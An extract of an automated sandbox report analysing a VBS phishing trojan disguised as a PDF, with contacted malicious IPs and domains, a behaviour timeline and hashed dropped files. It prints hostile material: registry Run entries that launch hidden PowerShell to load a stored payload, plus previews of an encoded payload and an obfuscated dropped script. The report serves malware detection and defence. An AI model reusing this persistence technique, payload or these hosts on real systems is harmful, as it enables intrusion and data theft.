wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

www.pki.gva.es/cps0

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

high

www.pki.gva.es/cps0%

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

high

Copyright Joe Security LLC 2023

high
URL Reputation: safe

unknown

Page 16 of 57

Name

SourceMalicious

Antivirus Detection

https://www.netlock.net/docs

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

www.datev.de/zertifikat-policy-bt0

wscript.exe, 00000000.00000003.200852126
0.0000024F576AD000.00000004.00000020.000
20000.00000000.sdmp

false

www.e-trust.be/CPS/QNcerts

wscript.exe, 00000000.00000003.200871247
0.0000024F57653000.00000004.00000020.000
20000.00000000.sdmp

false

URL Reputation: safe

unknownwww.ebuddy.com

wab.exefalse

URL Reputation: safe

unknown

URL Reputation: safe

Reputation
unknown

highWorld Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs
IP

DomainCountry

85.209.176.69

unknown

172.93.120.190

Flag

ASN

ASN Name

Malicious

United Kingdom

61317

ASDETUKhttpwwwheficedc
omGB

true

alotropia.sa.com

United States393960

HOST4GEEKS-LLCUS

true

178.237.33.50

geoplugin.net

Netherlands

8455

ATOM86-ASATOM86NL

false

134.73.180.207

www.66nong.com

United States

46573

LAYER-HOSTUS

false

94.46.180.55

ecox.pt

Portugal

24768

ALMOUROLTECPT

true

192.185.129.44

nasyoeastasia.org

United States

46606

UNIFIEDLAYER-AS-1US

true

PrivateIP
127.0.0.1

General Information
Joe Sandbox version:

38.0.0 Ammolite

Analysis ID:

1358188

Start date and time:2023-12-11 09:40:47 +01:00

Joe Sandbox product:

CloudBasic

Overall analysis duration:

0h 10m 49s

Copyright Joe Security LLC 2023

Page 17 of 57

Hypervisor based Inspection enabled:

false

Report type:light

Cookbook file name:default.jbs

Analysis system description:

Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip
23.01

Number of analysed new started processes
analysed:23

Number of new started drivers analysed:

0

Number of existing processes analysed:

0

Number of existing drivers analysed:

0

Number of injected processes analysed:

1Technologies:

HCA enabled
EGA enabled
AMSI enabled

Analysis Mode:default

Analysis stop reason:

Timeout

Sample name:doc129178202003180817410122023_pdf_(991KB).vbs

Detection:

MAL

Classification:

mal100.phis.troj.spyw.evad.winVBS@36/22@6/7

EGA Information:

Successful, ratio: 57.1%

HCA Information:

Successful, ratio: 96%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments:

Found application associated with file extension: .vbs

Warnings
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (wh itelisted): 23.56.6.35, 23.56.6.27, 104.91.175.71, 104.91.17 5.14
Excluded domains from analysis (whitelisted): ocsp.digicert. com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-sh im.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target powershell.exe, PID 4592 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5912 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5968 because it is empty
HTTP raw data packets have bee n limited to 10 per session. P lease view the PCAPs for the c omplete data.
Not all processes where analyz ed, report is missing behavior information
Report creation exceeded maximum time and may have missing d isassembly code information.
Report size exceeded maximum c apacity and may have missing b ehavior information.
Report size exceeded maximum c apacity and may have missing d isassembly code.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.
Report size getting too big, t oo many NtReadVirtualMemory ca lls found.

Simulations
Behavior and APIs
Time

Type

Description

09:41:35

API Interceptor

1x Sleep call for process: wscript.exe modified

09:41:37

API Interceptor

174x Sleep call for process: powershell.exe modified

09:41:40

API Interceptor

2x Sleep call for process: svchost.exe modified

09:42:21

Autostart

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Laborismk %Wirlasa% -w 1 $Noso=(Get-ItemProperty -Path 'HKCU:\Guian\').brandsikre;%Wirlasa% ($Noso)

09:42:30

Autostart

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Laborismk %Wirlasa% -w 1 $Noso=(Get-ItemPr
operty -Path 'HKCU:\Guian\').brandsikre;%Wirlasa% ($Noso)

09:42:54

Autostart

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Dolb %Wirlasa% -w 1 $Ninjash=(Get-ItemProperty-Path 'HKCU:\Beng\').Belejr;%Wirlasa% ($Ninjash)

09:42:57

API Interceptor

514786x Sleep call for process: wab.exe modified

09:43:02

Autostart

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Dolb %Wirlasa% -w 1 $Ninjash=(Get-ItemProperty -Path 'HKCU:\Beng\').Belejr;%Wirlasa% ($Ninjash)

09:43:40

API Interceptor

2x Sleep call for process: winver.exe modified

Copyright Joe Security LLC 2023

Page 18 of 57

Joe Sandbox View / Context
IPs⊘ No context
Domains⊘ No context
ASNs⊘ No context
JA3 Fingerprints⊘ No context
Dropped Files⊘ No context

Created / dropped Files(copy)
Process:

C:\Windows\System32\svchost.exe

File Type:ASCII text, with very long lines (65536), with no line terminators

Category:

droppedSize (bytes):

407024

Entropy (8bit):

5.9675070639380055

Encrypted:

false

SSDEEP:

12288:y8KB3LRjrSGbXEN7hp/1pfSUbXyYx4AFZ:SRr9bXKp/1pfS8ynA/

MD5:

F4CE3920EBE3BBE1E311D09BD812BDC5SHA1:

29CA1D4E0837F4EB904F498E5484ED7D3ABF747D

SHA-256:

95CD49337410215B5328BDFEEDBBC7F4D3F380D090DADF54E67C1506C7F61467

SHA-512:

F83692345D91C8FB4643F112B70FABEA50336746F5454F13F95EA742473E1E59AC2B621B85A39B59665504954835B7BD9234F6922E31204B2D77AD1E0548373F

Malicious:

false

Preview:cQGbcQGbuxx6FQBxAZvrAovlA1wkBHEBm3EBm7lMAU9a6wI/PnEBm4HxJR8OhOsCHfvrAg1ZgcGX4b4h6wIe5+sCD0ZxAZtxAZu6cuL6bHEBm+sCjejrApxv
cQGbMcpxAZvrAvqfiRQLcQGbcQGb0eLrAkqNcQGbg8EE6wIpEHEBm4H5pLhmAnzM6wLiGnEBm4tEJATrAgBp6wID5YnD6wKGvHEBm4HDqLgEAnEBm3EBm7o6
q6Zi6wLs0nEBm4HCB5OUAXEBm3EBm4HqQT47ZHEBm+sC8YLrAgxD6wJux3EBm+sCc4GLDBDrAmkZ6wL8V4kME3EBm+sCzCFCcQGbcQGbgfoMYgQAddVxAZtx
AZuJXCQM6wLnDusC4LKB7QADAABxAZvrAovCi1QkCHEBm3EBm4t8JARxAZtxAZuJ63EBm3EBm4HDnAAAAOsCsm1xAZtT6wJBu3EBm2pAcQGbcQGbietxAZvr
AlqRx4MAAQAAAEB/AusCIvPrAo8igcMAAQAAcQGb6wJ7Q1NxAZtxAZuJ63EBm3EBm4m7BAEAAHEBm3EBm4HDBAEAAHEBm3EBm1PrAsUucQGbav/rAqz3cQGb
g8IFcQGb6wKqnDH2cQGbcQGbMcnrAkCa6wLVTYsacQGbcQGbQesC7dfrAnihORwKdfJxAZtxAZtG6wLYeusCjA+AfAr7uHXc6wKHq3EBm4tECvxxAZvrAugJ
KfDrAmvq6wKKsP/S6wIeUnEBm7oMYgQAcQGbcQGbMcBxAZtxAZuLfCQM6wKTOXEBm4E0B20iLiVxAZvrAmNOg8AEcQGbcQGbOdB15XEBm+sC8HeJ++sCiGvr
AqEU/9dxAZvrAv4X6d2r/uTHr8kBYfgn7OZCZbsge6yIm4QtRTWv1AkkiyHs03WwhbyvzBC5S6js2cQE1R2r56pmIyXt3khsVOkW/+xWIyWEpY5P7FYjJVpzfMdV169RYC
JwD/njp7gOIC4l1tpwYIFEF/VV+q/m

C:\ProgramData\Microsoft\Network\Downloader\edb.log
Process:

C:\Windows\System32\svchost.exe

File Type:data

Category:

droppedSize (bytes):

1310720

Entropy (8bit):

0.8693953971943235

Encrypted:

false

SSDEEP:

3072:gJjJGtpTq2yv1AuNZRY3diu8iBVqFDQ5:hpezNZQd58i

MD5:

5DC219135BE0FDAC255CE75043DB464B

SHA1:

D44715EFF360CFB92BB92A10FB48510258087CD9

SHA-256:

415CDB3705988BBEF776F2A69EB367B5E02D3D9E5E98A1757DA66006A48E26EE

SHA-512:

CD9C2D71834BA1E28A96E57BBD67018EB3A61480CBE1547C632AF8047FCF87DDD9A6F2EA1AE446F81954103E0B7826B5E0066E65068DBECA5D6BADD194526C
20

Copyright Joe Security LLC 2023

Page 19 of 57

Malicious:

false

Preview:...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\........................................................................................................
.................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................
.................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5......
.3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b..............................................................................................
......................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db
Process:

C:\Windows\System32\svchost.exe

File Type:

Extensible storage engine DataBase, version 0x620, checksum 0xd5fc6ece, page size 16384, DirtyShutdown, Windows version 10.0

Category:

droppedSize (bytes):

1310720

Entropy (8bit):

0.6586089425322813

Encrypted:

false

SSDEEP:

1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h

MD5:371C8A15F17624DEA0142165A3F869D0

SHA1:

59933BB4D52F842A9BB128DA37C741A5A804F014

SHA-256:

39E483075AD4D19D1717DFAEC3910FD0BD240A9AB1BEC0C2A7B8FF21F8CDB708

SHA-512:565623D6A080449DA02C46905E6A5A425FE913EF9840B2272D29013B918AEF07C70C3DF71340F467F8D7A60D0449D4CFFB47A67579CF0ED3782152D059440FF8

Malicious:

false

Preview:..n.... ...............X\...;...{......................0.z..........{..()...{U.h.|.........................D./..;...{..........................................................................................................eJ......n....@.............
......................................................................................... ........-...{5......................................................................................................................................................................
........................2...{.....................................A()...{u...................-/()...{U..........................#......h.|..........................................................................................................................
...........................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm
Process:

C:\Windows\System32\svchost.exe

File Type:data

Category:

droppedSize (bytes):

16384

Entropy (8bit):

0.08046957765220392

Encrypted:

false

SSDEEP:

3:biVXEYe6PpD5ekGuAJkhvekl1oLYxlAllrekGltll/SPj:cXEzWtrxlS8xlAJe3l

MD5:

82A751AB0B8964B97AEE35B011D77300

SHA1:

5AFC406397A1A2E0A7BC627229675246E72ED888

SHA-256:

CED81A025552FECE73544727271ACA4C212692196F7E28F994EB78CEB37E90E9

SHA-512:

F73F70CE02F2113D94F0E53E1378AA898BADDEB231C7011E5F7365D5D2C0FB292B055306F9F2D60781C711FB24F752675945A3143939046793B0FC54A66319D5

Malicious:

false

Preview:.#.......................................;...{..()...{U......{...............{.......{...XL......{....................-/()...{U.....................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
Process:

C:\Windows\System32\wscript.exe

File Type:

Microsoft Cabinet archive data, Windows 2000/XP setup, 66791 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression

Category:

droppedSize (bytes):

66791

Entropy (8bit):

7.995531727155867

Encrypted:

true

SSDEEP:

1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U

MD5:

AC05D27423A85ADC1622C714F2CB6184

SHA1:

B0FE2B1ABDDB97837EA0195BE70AB2FF14D43198

SHA-256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D

SHA-512:

6D0EF9050E41FBAE680E0E59DD0F90B6AC7FEA5579EF5708B69D5DA33A0ECE7E8B16574B58B17B64A34CC34A4FFC22B4A62C1ECE61F36C4A11A0665E0536B
90D

Malicious:

false

Preview:

MSCF............,...................I.................gW.e .authroot.stl..u/1.5..CK..<Tk...p.k:..c.Y:.(Qc...%Y.f_...$..DHn..6i/.]....-!QQ*..}f..f...}..1....9.......pN..mI.a.....!...N.....xP.f6..C.'#.c.@GN(3.<3.......9...('3...l.l....B..x..e...UWFU.TT.l.L...._.l1......w.\..Xb.v..Q......pKP.....M`.Y......Op4=.(=P.e...p.(U.....z7MF..O......V2.....#...pj...z.!...wQ...V&.Gz..Nv.4..y(J...A..':.2Q.^u.y..<.1..2..o........H.D.S.....62.| w(...B.......h.QZ..'....l.<....6..Z...p?... .pT.......l..S..K....FT?.....p..`.&..y..."T=l.n..egf.w..X.Y...G.m....=.}cO.7.....9....o..:.Y=.-.5....ud.J&.]..*Q..
._<.S....{a.=.n...PT.Um).| kpyA....h.PXY.>.......^2U...H.....V<\...k..~....H..p...8..'..?...r>.4..!u......1\.`.<.+..n..p..]...).....L.g....#.<..c]R.U."\i.Z.>...`Q..g6....0.......F.........N.s.Z..A....
....m.^....a_..>v.-.mk...wt.n.:...>S..;....1...j.+m.&S......$.T...i.B=h.n...c.!e.....Y.#..bw.}...d.. ..w... .&..w.9..}k...\...=....{q.Up..y;..7.-.K.'.....

Copyright Joe Security LLC 2023

Page 20 of 57

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Process:

C:\Windows\System32\wscript.exe

File Type:data

Category:

droppedSize (bytes):

330

Entropy (8bit):

3.130858325867485

Encrypted:

false

SSDEEP:

6:kKuNsurN+SkQlPlEGYRMY9z+4KlDA3RUeWc3l0:m6PkPlE99SNxAhUeWcC

MD5:

C824C8FE21246357282D2618FA5D67CD

SHA1:19EBB2CB911329DA4D91E8E645B2002F9C105044

SHA-256:

A4FAEB317BD715DA408E920DEA8B103DE753552D67B504F321092A0F6ACD26CA

SHA-512:

4ABB876EEC7F7560DB447DFF989897881D194D9CB258375B4BF6B655BBFABC33B91958B7536DB3B7F23D29BD93E2E620260EE0B568D397A8D86F5422EEF1C09
B

Malicious:

false

Preview:p...... .........|...,..(....................................................... ..........H"......(...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".3.f.e.4.e.6.1.a.4.8.2.2.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json
Process:

C:\Program Files (x86)\Windows Mail\wab.exe

File Type:

JSON data

Category:

droppedSize (bytes):

958

Entropy (8bit):

5.002826024800916

Encrypted:

false

SSDEEP:

12:tkEsknd6CsGkMyGWKyMPVGADTogmayHnmGcArpv/mOAaNO+ao9W7iN5zzkw7Lpmv:qJ8dRNuKyM8fvXhNlT3/7SxDWro

MD5:

070F03D7F5A70BCE2B80284FC04D2FF5

SHA1:946004A990B29F469C33F8197B365BBA8176DA8D

SHA-256:

69A060976175574773CA4A05E790E38855665BB26C7890EE1D0AFFC6B4E42C50

SHA-512:

7CFE7995DC82F8E2EE2BA35519F3363FD8B94E699330E6F1953DC4F79296D52EA2D0FDA1382AF45511AA89870C25682A49C34323E40D2017BC95BCCD1D31C723

Malicious:

false

Preview:{. "geoplugin_request":"102.129.152.212",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite data
created by MaxMind, available from <a href='http:\/\/www.maxmind.com'>http:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Miami",. "geoplugin_region":"Florida",.
"geoplugin_regionCode":"FL",. "geoplugin_regionName":"Florida",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"528",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North A
merica",. "geoplugin_latitude":"25.7689",. "geoplugin_longitude":"-80.1946",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",.
"geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Process:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type:data

Category:

modified

Size (bytes):

11914

Entropy (8bit):

4.896235276832004

Encrypted:

false

SSDEEP:

192:Ixoe5lpOdxoe56ib49Vsm5emdiVFn3eGOVpN6K3bkkjo5agkjDt4iWN3yBGHB9sa:WVib49+VoGIpN6KQkj2xkjh4iUxRcYK6MD5:96420197D195D4ABC60724F24234CACA

SHA1:

192ACD14552FB56B27AE0DD34B5B6DFCC6152B9B

SHA-256:

0DCE3F924E46FDA8B63D8DA386D20D70EAA0C4C528DD4032DF0D8702FDC1B91D

SHA-512:14510349BB77CE85A5B2B2B3E934EA4A9F074F891A934299C9B839E7E16E271807B2814E780CD1A9862D5D1B1303E7C74DA89300C2CF655EB99DDAB82909680F

Malicious:

false

Preview:

PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscRe
source........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script....
....Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........FindModule........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDri
veItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProﬁleData-NonInteractive
Process:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type:data

Category:

droppedSize (bytes):

64

Copyright Joe Security LLC 2023

Page 21 of 57

Entropy (8bit):

1.1940658735648508

Encrypted:

false

SSDEEP:

3:Nlllul/nq/llh:NllUyt

MD5:

AB80AD9A08E5B16132325DF5584B2CBE

SHA1:

F7411B7A5826EE6B139EBF40A7BEE999320EF923

SHA-256:

5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4

SHA-512:9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654

Malicious:

false

Preview:@...e................................................@..........

C:\Users\user\AppData\Local\Temp\01_olH72
Process:

C:\Windows\SysWOW64\winver.exe

File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8

Category:

droppedSize (bytes):

196608

Entropy (8bit):

1.121297215059106

Encrypted:

false

SSDEEP:

384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow

MD5:

D87270D0039ED3A5A72E7082EA71E305

SHA1:0FBACFA8029B11A5379703ABE7B392C4E46F0BD2

SHA-256:

F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA

SHA-512:

18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D

Malicious:

false

Preview:

SQLite format 3......@ .......Y...........6......................................................j............W..........................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Flank.vbs
Process:

C:\Program Files (x86)\Windows Mail\wab.exe

File Type:ASCII text, with CRLF line terminators

Category:

droppedSize (bytes):

388386

Entropy (8bit):

4.94908544311543

Encrypted:

false

SSDEEP:

6144:0cXzRDCh3vXW7Yi9dNXrRLBNSET5JmP5lsR/r3AQPg0xhoSEoH0lCSMKfo:0cXdDTTXBQyRjyQiSSC2g

MD5:

132D26CF9486DC5BDCCDA38A017D2879

SHA1:

3AD5AD48E73B9E0AB22F6846011800DC61935112

SHA-256:789324418DDA8D1230952FF2E7D5A3BFE91C1761B28088A2CB084D7A5295EC86

SHA-512:

7A9D530AFE0AD959BFE0803CDB9687197A09B7916FB4846577EFA303960F380372435ABF401D0C8B993D3FD4E2A7F2943D40A5ECB30C868C279220933F8FC683

Malicious:

false

Preview:..'Forraadnelsers Phosphatising heptace..'Gombeen Lomentaria Udkommenter..'Intimidationer Oxytylote Blserorkestrene Brianna1 Replicerer..'Frugttrers Skyggelgningen
Unulcerously Avowed..'Nonoptionally hvler Monaulos Guelphism..'Tikronesedlers134 Hjisolere Olieforurening Borttryller Omformede..'Isolead Muldriver Tiltrkningerne..'D
agbladsartikelens Anretterborde Mynternes..'Karyomere125 Ddsstraffene Dawsoniaceous105 Supersensitised Nitridization..'Evendown Absolutions Gigartinaceous Fouet
t..'Figureheads Oppositious Romanists Arkaiserendes..'bigemina Skrmbredder Fljtistens Generosity brudstykkes..'gladiatoren Milliarderne20 Balloteringer Slutdisp
oneringens..'Boffin Temperatursvingningers Kommandoer Unturreted..'Skbnesvangres200 Monkeyhood56 Semiferous..'Opdeling Outdressing219 Demilitarized Pr
oletarianly..'Recitatorer Likvidere Drawbacks..'Commissaryship Toolholder Halvleg229..'Mellitum Selvbyggerier26 Indbildningskraften..'antikvarboghandlere Psykiaters
Insolvensbehandling Superpolymer Lu

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2g5db4w.pni.psm1
Process:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type:ASCII text, with no line terminators

Category:

droppedSize (bytes):

60

Entropy (8bit):

4.038920595031593

Encrypted:

false

SSDEEP:

3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX

MD5:

D17FE0A3F47BE24A6453E9EF58C94641

SHA1:

6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256:

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

Copyright Joe Security LLC 2023

Page 22 of 57

SHA-512:

5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82

Malicious:

false

Preview:# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esod5tky.ini.psm1
Process:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type:ASCII text, with no line terminators

Category:

droppedSize (bytes):

60

Entropy (8bit):

4.038920595031593

Encrypted:

false

SSDEEP:

3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX

MD5:

D17FE0A3F47BE24A6453E9EF58C94641

SHA1:

6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256:

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82

Malicious:

false

Preview:# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gtizlx0d.ow0.ps1
Process:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type:ASCII text, with no line terminators

Category:

droppedSize (bytes):

60

Entropy (8bit):

4.038920595031593

Encrypted:

false

SSDEEP:

3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX

MD5:

D17FE0A3F47BE24A6453E9EF58C94641

SHA1:

6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256:

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82

Malicious:

false

Preview:# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_huwvp1g1.qk4.ps1
Process:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type:ASCII text, with no line terminators

Category:

droppedSize (bytes):

60

Entropy (8bit):

4.038920595031593

Encrypted:

false

SSDEEP:

3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX

MD5:

D17FE0A3F47BE24A6453E9EF58C94641

SHA1:

6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256:

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82

Malicious:

false

Preview:# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pce1czee.22e.psm1
Process:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type:ASCII text, with no line terminators

Category:

droppedSize (bytes):

60

Entropy (8bit):

4.038920595031593

Encrypted:

false

SSDEEP:

3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX

MD5:

D17FE0A3F47BE24A6453E9EF58C94641

Copyright Joe Security LLC 2023

Page 23 of 57

SHA1:

6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256:

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82

Malicious:

false

Preview:# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ryzkm2d0.0hg.ps1
Process:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type:ASCII text, with no line terminators

Category:

droppedSize (bytes):

60

Entropy (8bit):

4.038920595031593

Encrypted:

false

SSDEEP:

3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX

MD5:

D17FE0A3F47BE24A6453E9EF58C94641

SHA1:

6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256:

96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82

Malicious:

false

Preview:# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bhv7E7E.tmp
Process:

C:\Program Files (x86)\Windows Mail\wab.exe

File Type:

Extensible storage engine DataBase, version 0x620, checksum 0x3df01e8c, page size 32768, DirtyShutdown, Windows version 10.0

Category:

droppedSize (bytes):

17301504

Entropy (8bit):

0.8011015283058449

Encrypted:

false

SSDEEP:

6144:ydfjZb5aXEY2waXEY24URlMeaAPXAP5APzAPwbndOs8pHAPFJnTJnjbnTotnBQ+z:AVI4e8Dy8aKKjLrONseWe

MD5:

447D3FC8DB7568CD784403AB150324AA

SHA1:

324AEC5425598915244B5B2606D8E9E5E76947B9

SHA-256:

DDFCB09B89C69F40459EA4196EEAF2821BEBEB2963CA3104A813218ABD778F0D

SHA-512:

3FB4D1EFEABB567817483C545B3E88C88D27860BCCC4A97A9AE6708BAA2E465120BFA7E81119FF6EE57C8AD9B15A4284BDB37A19B58C1E1E75DB98C74D4957
36

Malicious:

false

Preview:=...... .......;!......E{ow("...{........................@...../....{...)...{..h.B............................("...{q............................................................................................._...........eJ......n...................
........................................................................................ ............{........................................................................................................................................................................
...........................{]....................................'.)...{..................tF.z.)...{...........................#......h.B...........................................................................................................................
..........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hbgt
Process:

C:\Program Files (x86)\Windows Mail\wab.exe

File Type:Unicode text, UTF-16, little-endian text, with no line terminators

Category:

droppedSize (bytes):

2

Entropy (8bit):

1.0

Encrypted:

false

SSDEEP:

3:Qn:Qn

MD5:

F3B25701FE362EC84616A93A45CE9998

SHA1:

D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB

SHA-256:

B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209

SHA-512:

98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D8
4

Malicious:

false

Preview:..

C:\Users\user\AppData\Roaming\BIT4B97.tmp
Process:

